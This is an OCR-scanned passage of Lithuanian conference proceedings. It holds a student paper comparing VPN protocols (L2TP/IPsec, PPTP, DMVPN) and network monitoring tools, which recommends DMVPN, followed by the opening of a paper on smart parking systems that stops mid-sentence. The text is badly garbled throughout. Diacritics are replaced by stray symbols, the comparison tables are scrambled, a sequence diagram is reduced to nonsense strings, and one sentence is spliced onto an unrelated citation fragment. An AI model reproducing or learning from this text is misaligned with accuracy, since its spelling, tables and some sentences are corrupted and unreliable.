;::::::::::;‘.‘.'.'_:? horased sty :@Q Pl
2/ 0 / '
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@ VPN Unlimited

2 pav. WireGuard (Jack Wherry, 2023)
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L2TP/IPsec. L2TP/IPsec yra dviejy protokoly derinys: 2 lygmens tuneliavimo
protokolas (L2TP) ir interneto protokolo apsauga (IPsec). L2TP yra tuneliavimo
protokolas, kuriam i§ prigimties nenaudojamas joks Sifravimo metodas, todél jis daznai
jterpiamas kartu su IPsec, kad bty uztikrinta papildoma apsauga. IPsec — tai protokoly
Sifravima, uZtikrinant duomeny privatuma ir saugumag (Maximilian Holm, 2017)
(WireX, 2023) (Zenarmor, 2024).

Privalumai: L2TP/IPsec laikomas saugiu ir lengvai nustatomu. Jj palaiko
dauguma $iuolaikiniy jrenginiy ir platformy. L2TP/IPsec palaiko keliy gijy metoda, kad
padidinty nasumg. Jis apsaugo nuo ,,man-in-the-middle* ataky ir palaiko AES-256
Sifravimo algoritmus, kurie laikomi vienais saugiausiy (Maximilian Holm, 2017).

Trokumai: L2TP/IPsec gali bendrauti tik per UDP, todél ji lengva uzblokuoti.
Dél dvigubo jpakavimo jis gali bati létesnis nei OpenVPN. Kyla susiriipinimas, kad
IPSec gali biiti samoningai nusilpnintas NSA arba NSA pazeistas (Maximilian Holm,
2017). Tinkamas diegimas ir konfigliravimas yra gyvybiSkai svarbiis norint uztikrinti
L2TP/IPsec VNP (WireX, 2023).

Geriausias naudojimo atvejis:

L2TP/IPsec tinka vartotojams, kuriems reikalingas saugus VPN rySys ir kurie
nori naudoti tuneliavimo protokola, kurj i§ esmés palaiko dauguma Siuolaikiniy
jrenginiy. Jis taip pat tinka vartotojams, kuriems reikia bendrauti per UDP ir kurie nori
naudoti protokola, palaikantj AES-256 Sifravimo algoritmus (Maximilian Holm, 2017)
(WireX, 2023). Taciau vartotojai turéty zinoti apie galimas naSumo islaidas ir biitinybe
tinkamai jdiegti bei konfigiiruoti, kad bty iSlaikytas saugus L2TP/IPsec VPN.

Apibendrinant: L2TP/IPsec yra saugus ir paprastas naudoti VPN protokolas,
kurj palaiko dauguma Siuolaikiniy jrenginiy ir platformy. Taciau jis gali buti létesnis
nei ,,OpenVPN* dél dvigubos inkapsuliacijos, 0 tinkamas diegimas ir konfigiiracija yra
gyvybiskai svarbis norint i$laikyti saugy L2TP/IPsec VPN.

PPTP. Vienas i§ seniausiy VPN protokoly. Sukurtas 1999 m. ,Microsoft*
korporacijos (yra ir ankstyvesniy implementacijy, bet ,,Microsoft* sukurta versija tapo
labiausiai paplitusi) (Ema Globyté, 2023). PPTP reputacija yra misri, turinti daug
privalumy ir minusy.

Privalumai: naudojimosi paprastumas — PPTP yra zinomas dél savo
paprastumo ir prieinamumo net vartotojams su minimaliomis techninémis ziniomis
(Hossein Ashtari, 2023); suderinamumas — dél savo amziaus PTPP yra placiai
palaikomas visose placiai naudojamuose operacinése sistemose (Miglé Savickaite,
2022); greitis — dél paprastumo PTPP lengvai pralenkia modernius VPN protokolus.

Trukumai: silpna sauga — PPTP nebelaikomas saugiu VPN protokolu dél
netinkamy saugos priemoniy, pasenusiy Sifravimo algoritmy ir autentifikavimo metody,
pavyzdziui, MS-CHAP pazeidziamumy (Ema Globyté, 2023); pazeidziamumas —
protokolo Sifravimo raktai yra trumpi, todél jis yra jautrus brutalioms jégoms (angl.
brute-force) atakoms, be patikimy autentifikavimo mechanizmy, todél jj galima lengvai
iSnaudoti (VeePN, 2023); ugniasienés apribojimai — PPTP gali susidurti su rySio
problemomis dél ugniasienés apribojimy, nes jame néra standartizuoty VPN prievady
numeriy, todél rysiai gali biti blokuojami (Ema Globyté, 2023).
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Apibendrinant: PPTP protokolas yra retenybé Siandieningje kibernetinio
saugumo aplinkoje. D¢l savo dideliy saugumo riziky, protokolo populiarumas zemas.
PPTP turi savo vietg tam tikrose programose, kur greitis yra svarbesnis uz sauguma.

DMVPN. DMVPN — VPN protokolas, kurj Cisco pristaté 2000 m. pabaigoje
(Edgar ¢ Francis, 2021). VPN protokolas i$siskiria savo stebulés ir stipiny (angl. hub
and spoke) modeliu. DMVPN suteikia dinamiska virtualiojo privataus tinklo (VPN)
forma, leidziancig sujungti stipinus ir pagal poreikj sukurti tunelj pagal eismo modelius
be kartotinés konfigiiracijos mazguose ar stipinuose (Tessa Parmenter, 2021). Protokolo
dizainas yra paremtas trims etapais (NetworkLessons, 2024):

1 etapas naudoja NHRP (Next Hop Resolution Protocol), kad stipinai galéty
uzsiregistruoti stebuléje. Centras yra vienintelis marsrutizatorius, kuriame naudojama
daugiataské GRE (bendrojo marsruto jterpimo) sasaja, o visi stipinai naudoja jprastas
GRE tunelio sgsajas i3 tagko j taska. Sioje konfigiiracijoje néra tiesioginio stipinas-
stipinas rysio, viskas eina per centra.

2 etapas siekia panaikinti tam tikrus 1 etapo trikumus jgalinant tiesioginj
tunelius, leidziancius tiesiogiai susisiekti tarp stipiny.

3 etapas — loginis 1 ir 2 etapo Zingsnis, kuris jdeda hierarchine topologija. Sis
etapas apjungia 1 ir 2 faziy privalumus, sitilydamas labiau kei¢iamo dydzio sprendimag
didelio masto diegimams. Jis palaiko pilno tinklo GRE arba IPsec tuneliy kiirimag
naudojant paprastg konfigliracijos Sablong, todél idealiai tinka didelio masto VPN
tinklams su dinamiskomis marsruto parinkimo galimybémis.

Privalumai (Firewall, 2024): supaprastinta konfigiracija — DMVPN
supaprastina Sakotuvo marSrutizatoriaus konfigtiracija, naudodamas vieng mGRE,
IPSec profili, kad biity galima valdyti visus stipiny marsrutizatorius, neatsizvelgiant j
stipiny, jungianéiy prie Sakotuva, skaiCiy; dinaminiai tuneliai i§ stipiny j stipinus:
stipiny marsrutizatoriai gali dinamiskai kurti VPN tunelius tarp jy, jei reikia,
sumazindami administracines i$laidas ir padidindami tinklo lankstuma; DM VPN sitilo
pasirinktinai  tvirta apsaugag su IPSec Sifravimu, uztikrinan¢iu duomeny
konfidencialuma ir vientisuma VPN tuneliuose.

Trikumai: sudétingumas naudojant didelius diegimus — nors DMVPN
supaprastina konfigiiracija, didelio masto diegimas su daugybe marSrutizatoriy gali
2015); marsruto parinkimo protokolo apribojimai: priklausomai nuo pasirinktos
DMVPN fazés, marSruto parinkimo protokolo projekte gali biiti apribojimy, turinéiy
itakos srauto srautams tarp stipiny ir Sakotuvo, o tai gali turéti jtakos tinklo mastelio
keitimui ir efektyvumui (Semperfinein, 2020).

Apibendrinimas: DMVPN yra geras balanas tarp paprastumo, ple¢iamumo ir
saugumo. Lanksc¢ig konfigiiracijg galima pritaikyti jvairaus dydzio jmonéms. Dinamiski
VPN tuneliai plétimasi padaro palyginamai lengvg.

Atlikus VPN analizg, pastebima, kad, DMVPN padés uztikrinti ir labiau
apsaugoti tinklg nuo grésmiy. DMVPN leidzia verslams sukurti VPN tinklg su daugybe
viety, nereikalaujant statiniy jrenginiy konfigtiravimo.
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Tinklo stebéjimo sistemy apZvalga

Siekiant efektyviai jdiegti ir valdyti DMVPN bus naudojama programinés
jrangos, kaip PuTTY terminalo emuliatorius. Darbui taip pat reikéjo pasirinkti
stebéjimo jrankj. Atlikus paieska buvo rastos trys galimos programos: Nagios (3 pav.),
Zabbix (4 pav.), Grafana (5 pav.).
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4 pav. Zabbix stebéjimo sistema (https://www.zabbix.com/)
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Overview

Abrormal Nodes
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5 pav. Grafana steb¢jimo sistema (https://grafana.com/)

Stebéjimo sistemy palyginimas pateikiamas 1 lenteléje.

1 lentele. Stebéjimo sistemy palyginimas

Sasajos
Kaina Saugumas DMVPN naudojimo
patirtis
Zabbix Nemokama (su | Sitlo saugias Nors DMVPN Zinomas dél
pasirenkama duomeny suderinamumas | patogios sgsajos
komercine rinkimo ir néra tiesioginé ir naudojimo
palaikymo stebéjimo Siy jrankiy paprastumo
galimybe) galimybes savybe, juos
Nagios Pagrindiné Uztikrina galima Sasaja yra
versija patikimas sukonfigaruoti visapusiska, bet
nemokama saugumo DMVPN naudojimosi
priemones rySiams sudétingumas
greitai iSauga
Grafana Atvirojo kodo Daugiau Sialo
programa. démesio pusiausvyra tarp
Mokamoji skiriama patogumo ir
versija turi vizualizacijai, o funkcionalumo
daugiau ne saugos
funkcijy. funkcijoms,
taciau ja galima
integruoti su
saugos
jrankiais, kad
biity padidinta
apsauga
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D¢l sgsajos paprastumo ir jau turimy jgidziy buvo pasirinkta Zabbix programa.
Be to, bus naudojamas GNS3 tinklo simuliacijos jrankis, suteikiantis galimybe iSbandyti
tinklg prie§ sukuriant gyvai. Be programinés jrangos bus pasinaudota fiziniu CISCO
marsrutizatoriumi ,,CISCO 4221, kad buty galimybé atlikti darba ne tik virtualioje
masinoje, bet ir gyvai. CISCO 4221- 2016 mety Cisco vienas i$ pagrindiniy modeliy.

Aparatiiros posistemé

CISCO 4221 turi globalias komandas, kurios yra gerai aprasytos ir Zinomos.
Marsrutizatorius taip pat pasizymi $iomis savybémis:

e Universalumas: Cisco 4221 gali palaikyti jvairius tinklo jrankius viename
irenginyje, pvz., belaidi WAN, belaidj LAN ir integruotus komutatoriaus prievadus;

e Nasumas: Cisco 4221 pralaidumas prasideda nuo 35 Mbps ir gali biti
atnaujinamas iki 75 Mbps, suteikiant daug pralaidumo daugeliui mazy ir vidutiniy jmoniy;

e Sauga: marSrutizatoriuje yra jmontuoty saugos funkcijy, tokiy kaip
ugniasiené, VPN spartinimas ir tinklo varzyby valdymas, uztikrinantis tvirta filialy
tinkly ir vartotojy apsauga;

e Mastelio keitimas: ,,Cisco 4221 palaiko pralaidumo ir tinklo sgsajos
moduliy atnaujinimus, leidZian¢ius ateityje pléstis, pasikeitus verslo poreikiams. Sis
mastelio keitimas uztikrina, kad marsrutizatorius gali augti kartu su verslu, o tai yra
ilgalaikis sprendimas mazoms ir vidutinéms jmonéms;

o Iperkamumas: Cisco 4221, kurio kaina yra 800 USD, siiilo konkurencingg kainos
ir naSumo santykj, todél jis yra patrauklus pasirinkimas mazoms ir vidutinéms jmonéms.

Informaciné posistemé

GNS3: tai yra universali priemoné studentams. Tai yra atvirojo kodo tinklo
programinés jrangos emuliatorius, leidZiantis imituoti ir emuliuoti sudétingus tinklus.
Tai gali biiti ypa¢ aktualu DMVPN uzduociai, nes leidzia kopijuoti tinklo topologija
kompiuteryje, nereikalaujant fizinés jrangos, taip sutaupant laika ir iSteklius. DMVPN
atveju GNS3 leidzia emuliuoti biitinus marSrutizatorius ir jungiklius, konfigtiruoti
tuneliy ir saugumo protokolus bei isbandyti tinklo elgseng kontroliuojamoje aplinkoje.
GNS3 palaiko CISCO ir tas mums yra pats svarbiausias dalykas §iuo atveju (6 pav.).

6 pav. GNS3 tinklo simuliacijos jrankis
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PuTTY yra nemokamas atvirojo kodo terminalo emuliatorius, serijiné konsolé
ir tinklo faily perdavimo programa. Jis pagrinde naudojamas prisijungti prie nuotoliniy
kompiuteriy ir serveriy naudojant Secure Shell (SSH) protokola, kuris uztikrina saugy
ir uzsifruotg rysj (Sussex universitetas, 2013).

Tyrimo metodika

Imonés padaliniy kompiuteriy tinkly sujungimui reikia saugaus, greito,
patikimo VPN protokolo. Esamy Siuolaikiniy VPN protokoly analizé buvo atliekama
nagrinéjant moksling literatiira, protokoly apraSymus, protokoly panaudojimo atvejus.
Literattira apraso nemazai jvairiy VPN protokoly. Visi VPN protokolai turi teigiamy ir
neigiamy savybiy. Vieni yra saugesni, bet 1étesni, kiti labiau tinka maziems tinklams,
su nedideliais duomeny srautais. Parenkant optimaly VPN protokolg buvo jvertintos
literatiiroje minimos protokoly savybés. Taip pat buvo atsizvelgiama j gerasias VPN
naudojimo praktikas, pavyzdziui, DMVPN naudoja kariuomené.

Tyrimo rezultatai

Palyginus penkis labiausiai paplitusius VPN protokolus daroma isvada, kad
jmonés padaliniy kompiuteriy tinkly sujungimui geriausia tinka DMVPN. Sis
protokolas pasizymi savo hierarchine struktiira, saugumu ir placiomis konfigiiravimo
galimybémis. DMVPN sauguma uztikrina IPsec, hierarching struktiirg — ,,stebulés ir
stipiny“ architektiira, konfigiravimo galimybés — testavimui galima naudoti GNS3 arba
tikrg Cisco jrangg.

Sitlomam jmongs tinkly sujungimo stebéjimui buvo nagrinétos tris sistemos —
Nagios, Grafana, Zabbix. Atlikus $iy sistemy palyginamaja analiz¢ ir atsizvelgus |
panasiy sistemy panaudojimo gergsias praktikas, jmonei sitiloma naudoti Zabbix.

Tinklo jrangos konfigiiravimui be konkurencijos geriausiai tinka PuTTY.

Kompiuteriy tinklo emuliacijos programy analizés rezultatas — Siuo metu yra
vienintelé nemokama pilnai veikianti sistema GNS3.

ISvados

Ivertinta, kad pradéjus naudoti DM VPN tinklo saugumas i§ esmés pagerés. DMVPN
atlieka automatinj IPsec Sifravimo inicijavima. Savo ruoztu IPsec uztikrina perduodamy per
kompiuteriy tinkla duomeny sauguma, nes naudoja Sias sudedamasias dalis:

1. Iterpiamoji saugumo apkrova (angl. Encapsulating Security Payload,
ESP) — uztikrina duomeny vientisuma, $ifravima, autentiSkumo nustatyma ir apsauga
nuo atkiirimo. Ji taip pat uztikrina naudingosios apkrovos autentiSkumo patvirtinima.

2. Autentifikavimo antrasté (angl. Authentication Header AH) — uztikrina
duomeny vientisuma, autentiSkumo nustatyma ir apsauga nuo atkodavimo.

3. Interneto rakty mainai (angl. Internet Key Exchange IKE) — tai tinklo
saugumo protokolas, skirtas dinamiSkai keistis Sifravimo raktais ir rasti kelig per
saugumo asociacijg (SA) tarp dviejy jrenginiy. Saugumo asociacija (SA) nustato
bendrus du tinklo jrenginiy saugumo atributus, kad buty palaikomas saugus rySys.
ISAKMP (angl. Internet Security Association Key Management Protocol) ir interneto
saugumo asociacija (angl. Internet Security Association) sukuria autentiSkumo
nustatymo ir keitimosi raktais sistema. ISAKMP pasako, kaip nustatomos saugumo
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asociacijos (SA) ir kaip tiesioginiai rysiai tarp dviejy kompiuteriy naudojami naudojant
IPsec. Interneto rakty mainai (IKE) uztikrina praneSimy turinio apsaugg, taip pat atvirg
sistema, skirtg standartiniams algoritmams, tokiems kaip SHA ir MDS5, jgyvendinti.
Algoritmo IPsec naudotojai sukuria unikaly kiekvieno paketo identifikatoriy. Sis
identifikatorius véliau leidzia jrenginiui nustatyti, ar paketas buvo teisingas, ar ne.
Neautorizuoti paketai atmetami ir neperduodami gavéjui.
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Summary

This article examines various deployments of virtual private networks (VPNs), different VPN
protocols, and their advantages and disadvantages. It also analyzes the scientific literature,
technological options, and case studies. In conclusion, the Cisco DMVPN protocol is proposed
for the interconnection of the company's departments, which best suits the company's needs and
security requirements.
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ISmaniyjy parkavimo sistemy tyrimas, siekiant sukurti vairuotojui

draugiska automobiliy stovéjimo aikstele

Nerijus Kvedaravi¢ius, Gintaras Butkus
Kauno kolegija

Anotacija. Siame straipsnyje nagrin¢jamas i$maniyjy parkavimo aiksteliy
projektas, kuriuo siekiama modernizuoti miesto parkavimo infrastrukttirg ir pagerinti
vairuotojy patirtj. Straipsnyje aptariami pagrindiniai iSmaniyjy parkavimo sistemy
komponentai, tokie kaip IoT sensoriai, §viesos indikatoriai ir automatinis parkavimo
viety paskirstymas. Taip pat iSrySkinami tokios sistemos privalumai, jskaitant
efektyvesnj parkavimo viety naudojimg, sumazintas eismo spistis, ekonoming ir
ekologing naudg. Be to, pabréZiama bitinybé nuolat prizitiréti ir atnaujinti sistema,
sickiant uztikrinti jos efektyvumg ir patikimuma. Galiausiai straipsnyje pateikiamos
i§vados apie i$maniyjy parkavimo sistemy nauda ir rekomendacijos dél jy jdiegimo. Sis
straipsnis yra svarbus Saltinis tiek vieSojo, tiek privataus sektoriaus atstovams,
svarstantiems apie iSmaniyjy parkavimo sprendimy diegima ir jy potenciala gerinant
miesto infrastruktiirg.

Raktiniai ZodZiai: parkavimas, sensoriai, indikatoriai, aplikacijos, 10T.

Ivadas

Dabartiné parkavimo situacija miestuose ir didelése imonése daznai yra
nepakankamai efektyvi ir sukuria daugybe problemy tick vairuotojams, tiek miesto
infrastruktiirai. Shoup (2006) teigia, kad ilgas laisvos parkavimo vietos paieSkos laikas
yra vienas i§ pagrindiniy miesto eismo spiisCiy ir aplinkos tarSos veiksniy. Be to,
vidutinis vairuotojas miestuose praleidzia iki 20 minuciy ieSkodamas laisvos vietos, kas
reiSkia milzini§kg bendrg laiko §vaistyma (Smith, 2018).

Tyrimo objektas — parkavimo viety stebéjimo ir valdymo sistema, kuri
automatiskai skiria parkavimo vietas jmonés darbuotojams, atsizvelgiant j jy atvykimo
laika ir kitus veiksnius. Sistema naudoja ultragarsinius jutiklius ir mobiliajg aplikacija,
kad optimizuoty parkavimo procesg ir sumazinty susijusj stresg bei laiko §vaistyma.

Tyrimo tikslas — apzvelgti esamas ir pasitlyti pazangia parkavimo viety
stebéjimo ir valdymo sistema, kuri leisty darbuotojams efektyviau ir be papildomo
streso rasti laisvas parkavimo vietas, taip pat leisty jmonéms geriau i$naudoti esamas
parkavimo erdves, didinti darbuotojy pasitenkinima ir bendra produktyvuma.

Tyrimo uZdaviniai:

1. Apzvelgti ir jvertinti esamas parkavimo viety stebéjimo ir valdymo sistemas,
ju privalumus ir trikumus.

2. Pasitlyti modernig parkavimo viety stebéjimo ir valdymo sistema.

3. Isplétoti algoritmg efektyviam parkavimo viety paskirstymui, atsizvelgiant
] darbuotojy atvykimo laikus ir kitus svarbius veiksnius.
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4. Pasitlyti vartotojui draugiska mobiliosios aplikacijos sasaja, leidzianciag
darbuotojams lengvai rezervuoti parkavimo vietas ir gauti aktualig informacija apie
laisvas vietas.

5. Apzvelgti parkavimo sistemy kibernetinj sauguma ir pasitlyti saugumo
didinimo sprendimus.

Tyrimo metodika

Analizuojamos dvi $iuolaikinés parkavimo valdymo sistemos: ADCParking ir
UniPark (1 lentelé). Sios sistemos buvo pasirinktos dél jy novatorisky sprendimy
parkavimo viety steb¢jimo ir valdymo srityje, kurios galéty buti pritaikytos sprendziant
dideliy jmoniy parkavimo problemas. Analizés tikslas — jvertinti kiekvienos sistemos
veikimo principus, naudojamas technologijas ir jy efektyvuma, remiantis i§ anksto
nustatytais kriterijais: komponentai ir savybés.

ADCParking sistema apima kelias pagrindines dalis: parkavimo jutiklius,
centralizuotg valdymo serverj ir mobiliosios aplikacijos klientg. Jutikliai, montuojami
kiekvienoje parkavimo vietoje, fiksuoja ir siuncia duomenis apie laisvas arba uzimtas
vietas j centralizuotg serverj realiuoju laiku. ADCParking sistema suteikia vairuotojams
galimybe realiu laiku matyti laisvas parkavimo vietas per mobiligjg aplikacijg. Be to,
ADCParking integracija su debesy kompiuterijos paslaugomis leidZia saugoti didelius
duomeny kiekius ir uztikrina sistemos patikimumg ir prieinamuma.

UniPark sistema taip pat susideda i$ trijy pagrindiniy komponenty: parkavimo
viety jutikliy, valdymo serverio ir vartotojo aplikacijos. Jutikliai stebi ir registruoja
parkavimo viety biisena, o duomenys apie parkavimo vietas yra siun¢iami ir tvarkomi
serveryje. UniPark i$siskiria savo patogia vartotojo sasaja, kuri vairuotojams pateikia
intuityvig ir lengvai naudojama informacija apie laisvas parkavimo vietas. Be to,
UniPark sistema sitilo iSpléstines funkcijas, tokias kaip parkavimo laiko stebéjimas,
mokéjimai per programéle ir automatiniai jspéjimai apie laiko pasibaigimg. Tai
sumazina vairuotojy stresg ir leidzia efektyviau planuoti laika.

1 lentelé. Palyginimas tarp ADCParking ir UniPark

Kriterijus ADCParking UniPark
Rezervavimas Ne Ne
Mokéjimo budai Kasa, Mobilioji aplikacija Kasa, Mobilioji aplikacija, SMS
Mobilioji aplikacija Taip Taip
Stovéjimo Abonementai Taip Ne

Vilnius, Kaunas, Oro Uostai,
Pozeminés Aikstelés

Stiprus autentifikavimas ir
duomeny apsauga

Vilnius, Kaunas,
Daugiaaukstés aikstelés
Auksto lygio duomeny
Sifravimas ir apsauga nuo
neteisétos prieigos
ISsami

Pagrindinés veikimo
vietos
Saugumas

Duomeny analizé Bazin¢

Papildomos Funkcijos

Integruotas daviklis i
kiekvieng stovéjimo vietg ir
rodo kurios vietos yra
uzimtos

Su Sia programeéle galima
susimokéti ne tik uz stovéjima
aiksteleése bet ir uz stovéjima
miestuose. Ten kur yra
mokomos zonos
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ADCParking ir UniPark teikia parkavimo sprendimus, tac¢iau jy démesio sritys
skiriasi. ADCParking yra labiau orientuotas j aiksteliy parkavima, sililydamas
abonementus ir auks$to lygio saugumg, ypa¢ daugiaauks¢iy parkavimo vietose, kaip
Vilniyje ir Kaune. Jie taip pat teikia iSsamig duomeny analiz¢ ir integruotus sensorius,
didinant vartotojy patoguma.

Tuo tarpu UniPark yra lankstesnis, aptarnaujant tiek miesty, tiek oro uosty
parkavima ir sifilydamas jvairias mokéjimo galimybes, jskaitant SMS. Jy sistema taip
pat leidzia mokéti uz mokamas miesto zonas, taciau neteikia stovéjimo abonementy,
kas rodo didesnj démesj laikinam naudojimui.

Taigi, ADCParking yra labiau pritaikytas ilgalaikiam, saugiam parkavimui, o
UniPark siiilo lankstesnes paslaugas plac¢iam vartotojy ratui.

Parkavimo sistemose naudojami sensoriai (2 lentelé), serveriai ir mobiligji
jrenginiai yra pagrindiniai aparatinés jrangos komponentai, kurie leidzia efektyviai
nustatyti laisvas ir uzimtas parkavimo vietas realiu laiku. Remiantis Zhao ir Guo (2019)
bei Martinez ir Rojas (2021) tyrimais, ultragarsiniai, infraraudonyjy spinduliy ir
magnetiniai sensoriai yra itin svarbiis nustatant parkavimo viety bukle, o serveriai
atlieka esminj vaidmenj duomeny apdorojime ir saugojime. Mobilieji jrenginiai,
pasitelkiant interneto dalyky (IoT) technologijas, suteikia vartotojams galimybe greitai
ir patogiai naudotis parkavimo paslaugomis.

2 lentelé. Jvairiy sensoriniy veikimo principai, privalumai, trikumai

Sensoriaus tipas Veikimo principas Privalumai Triikumai
Ultragarso Nustato objekty atstumg | Tikslas atstumy Trikdomi oro
naudojant ultragarsa matavimai, salygy, gali
nebrangts, lengva nustatyti
jdiegti netinkamus
objektus
Infraraudonyjy Nustato Silumos $altinius | Efektyviis zemoje Gali biti trikdomi
spinduliy (IR) ir jy atstuma apsvietimo salygose, saulés Sviesos,
tiksli lokalizacija auksta kaina
Magnetiniai Aptinka metalo objekty Galimybé stebéti ir Ribotas aptikimo
buvimg per magnetinius | analizuoti eismo diapazonas, tik
laukus srautus, metaliniy objekty
universalumas aptikimas
Vaizdo kamery Stebi ir analizuoja Galimybé stebéti ir Brangi jranga ir
vaizdo jrasus analizuoti eismo priezitra,
srautus, reikalauja
universalumas pazangiy analizés
algoritmy
LiDAR (Sviesos Nustato objektus ir jy Aukstas tikslumas ir Labai brangis,
aptikimas ir atstuma naudojant detalumas, veikia sudétingas
atstumo $viesos impulsus jvairiomis oro jdiegimas ir
nustatymas) salygomis prieziiira

Parkavimo sistemy efektyvumas priklauso nuo jy gebéjimo tikslingai nustatyti

ir valdyti prieinamas parkavimo vietas. Si lentelé pateikia jvairiy sensoriy tipus, jy
veikimo principus bei privalumus ir trikumus, remiantis naujausiais moksliniais
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Saltiniais. Pavyzdziui, ultragarsiniai sensoriai, nustatantys objekty atstumg naudojant
ultragarsa, yra vertinami uz tikslius atstumo matavimus ir nesudétingg diegima, kaip
aptarta Belbachiro (2009) knygoje apie iSmanigsias kameras. Kita vertus,
infraraudonyjy spinduliy sensoriai, kurie fiksuoja Silumos Saltinius ir jy atstumg, yra
paminéti Bogue (2013) straipsnyje kaip efektyvils, bet pazeidziami oro salygy, tokiy
kaip saulés Sviesa. Taip pat, Guo ir Zhao (2019) apzvalgoje pabréziama sensoriy, tokiy
kaip magnetiniai, kurie aptinka metaliniy objekty buvima, svarba parkavimo sistemose
dél jy universalumo. Si informacija yra esminé suprantant, kaip modernios parkavimo
sistemos naudoja $iuos technologinius sprendimus, siekdamos pagerinti parkavimo
patirt] miesty gyventojams.

Informaciné posistemé parkavimo valdymo sistemoje yra kritinis
komponentas, uZztikrinantis glaudy duomeny tarp parkavimo sensoriy, serverio,
mobiliosios aplikacijos ir galutinio naudotojo srautg. Sistemos patikimuma uZztikrina
kibernetinis saugumas, apimantis duomeny Sifravimg ir privatumo apsauga, remiantis
Smith (2018) ir Johnson (2019) tyrimais.

Naudotojo sgsaja (UI) yra esminis parkavimo valdymo sistemos komponentas,
leidziantis galutiniam vartotojui sgveikauti su sistema. Ji turi biiti suprojektuota taip,
kad vartotojas galéty lengvai naudotis visomis sistema sitilomomis funkcijomis. Svarbu,
kad naudotojo sasaja biity intuityvi, patraukli ir informatyvi.

Programavimo kalbos ir aplinkos: naudotojo sgsajai sukurti daZniausiai
naudojamos JavaScript, HTML ir CSS kalbos. JavaScript yra naudojama dinaminiam
turinio kurimui, HTML — struktiriniam maketavimui, o CSS — vizualiniam dizainui.
Sios kalbos, kartu su atitinkamomis programavimo bibliotekomis ir karkasais,
pavyzdziui, React ar Vue.js, leidzia kurti patrauklias ir funkcionalias vartotojo sasajas.

Programavimo metodikos ir technologijos: naudotojo sasajos kiirime taikoma
atsako dizaino metodika, leidzianti svetainéms ir aplikacijoms teisingai veikti jvairaus
dydzio ekranuose, nuo mobiliyjy telefony iki dideliy monitoriy. Be to, naudojamos
naudotojo patirties (UX) gerinimo technikos, siekiant uztikrinti, kad aplikacija biity
logiska, lengvai naudojama ir maloni vartotojui.

Operacinés sistemos: parkavimo sistemos naudotojo sasajos yra kiirimui ir
naudojimui pritaikytos tiek Android, tiek iOS operacinéms sistemoms, siekiant aprépti
kuo didesnj vartotojy rata. Pritaikomumas Sioms sistemoms uZztikrina sklandy
funkcionaluma ir patogiag naudotojo patirtj. Pavyzdinj parkavimo valdymo aplikacijos
vaizda galime matyti (1 pav.), kuris iliustruoja, kaip vartotojai gali vizualiai
identifikuoti laisvas ir uzimtas parkavimo vietas.
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@ Parkavimas

1 pav. Pavyzdinis parkavimo valdymo aplikacijos variantas

Sistemos saugumo aspektai yra neatsiejami nuo Siuolaikiniy technologiniy
sprendimy. Tai apima kompleksinius duomeny apsaugos metodus, tokius, Kkaip
Sifravimas ir duomeny perdavimas tarp jrenginiy. Duomeny apsaugai sitiloma naudoti
metodus, Kurie yra i§samiai nagrinéti literatiiroje, pavyzdziui, Owen ir Makkar (2017)
straipsnyje apie kiberneting saugg IoT jrenginiuose ir Choo (2020) darbe, kuriame
aptariama privatumo ir duomeny saugojimo svarba.

Tyrimo rezultatai

Tyrimas patvirtino, kad iSmaniosios parkavimo sistemos yra efektyvus
sprendimas S$iuolaikiniy miesty parkavimo problemoms spresti, gerinant vartotojy
patirtj, mazinant eismo spistis ir prisidedant prie tvaraus miesto vystymo.

Procesas vyksta nuosekliai: pradedant nuo sensoriaus, kuris nustato uzimta
vieta ir informuoja serverj, baigiant vartotojo saveika su aplikacija, kur jis gali perzitiréti
parkavimo viety biikle ir priimti sprendimus. Sig sistema galima detaliai pamatyti
pateiktoje schemoje (2 pav.).

Parkavimo vietos uzimtumo ir informacijos perdavimo procesas:

e Sensoriaus aktyvavimas ir duomeny siuntimas: visas procesas prasideda,
kai parkavimo sensorius nustato, kad parkavimo vieta yra uZimta. Sensorius yra
programuotas laukti ir stebéti parkavimo vietos biikle. Kai automobilis uzima vieta,
sensorius aktyvuojamas ir siunéia signala j centralizuota serverj. Sis signalas apima
informacija apie parkavimo vietos statusg — §iuo atveju, kad vieta yra uzZimta.

e Serverio reakcija ir duomeny apdorojimas: gaves signalg i§ parkavimo
sensoriaus, serveris nedelsiant atnaujina parkavimo buklés duomenis savo sistemoje.
Tai yra svarbus zingsnis, nes serverio palaikoma informacija yra pagrindinis
informacijos Saltinis visai sistemai, jskaitant mobiliosios aplikacijos vartotojus.
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e Sviesos indikatoriaus valdymas: serveris taip pat siuncia signalg j §viesos
indikatoriy, kuris yra prie parkavimo vietos. Sis signalas liepia jjungti raudong §viesa,
signalizuojant, kad vieta yra uzimta. Tai suteikia vizualing informacijg apie parkavimo
vietos statusg ne tik aplikacijos naudotojams, bet ir tiems, kurie ieSko parkavimo vietos
fiziskai vietoje.

e Mobiliosios aplikacijos atnaujinimas: Serveris siun¢ia atnaujintg
informacija apie parkavimo viety biikle j mobiliosios aplikacijos serverj, kuris savo
ruoZtu atnaujina duomenis vartotojo mobiliojoje aplikacijoje. Si informacija apima
zemélapius, parkavimo viety blsenas ir kitus reikalingus duomenis.

e Vartotojo saveika su aplikacija: galiausiai, mobilioji aplikacija rodo
atnaujintg informacija vartotojui. Vartotojas gali matyti realiu laiku atnaujintus
duomenis apie laisvas ir uzimtas parkavimo vietas, leidzian¢ius jam priimti informuotus
sprendimus dél parkavimo. Naudotojas taip pat gali atlikti veiksmus per aplikacija,
pavyzdziui, rezervuoti parkavimo vietg arba atlikti mokéjima.

‘ Parkavimo Sensorius ‘ ‘ Serveris ‘ ‘ Sviesos Indikatorius ‘ ‘ Mobilioji Aplikacija ‘ Vartotojas |

| I I I
Laukia aktyvacijos 'ﬁ | | | |

Aktyvuojamas

Jutiklis nustato uzimtg viety :

Siunéia signala: vieta uzimta_ !

|jungia raudona §viesa

I I
Rodomas uzimtumo signalas |

Atnaujina parkavimo bikles duomenis |

Siuncia atnaujintg informacija

Atnaujina parkavimo Zemélapj

| Rodo atnaujinta parkavimo informacija, |

PerZidri naujg parkavimo informacijg ‘

|VEVTDIUJEE mato atnaujintg informacija ir gali priimti iprsnd\muslﬁ
I I I I

‘ Parkawmt; Sensorius ‘ ‘ Ser\;er\s‘ ‘Swescs m‘mkator\us ‘ ‘ Mob\\w;‘Aphkacua ‘ ‘Varto‘tmas |

2 pav. Parkavimo vietos uzimtumo ir informacijos perdavimo procesas

Paveikslélyje (3 pav.) vaizduojama duomeny perdavimo schema, kurioje i§
kliento aplikacijos duomenys siun¢iami j serverj, o po to — i duomeny baze. Kiekviename
etape duomenys yra $ifruojami, uztikrinant sauguma perduodant juos i§ vienos sistemos
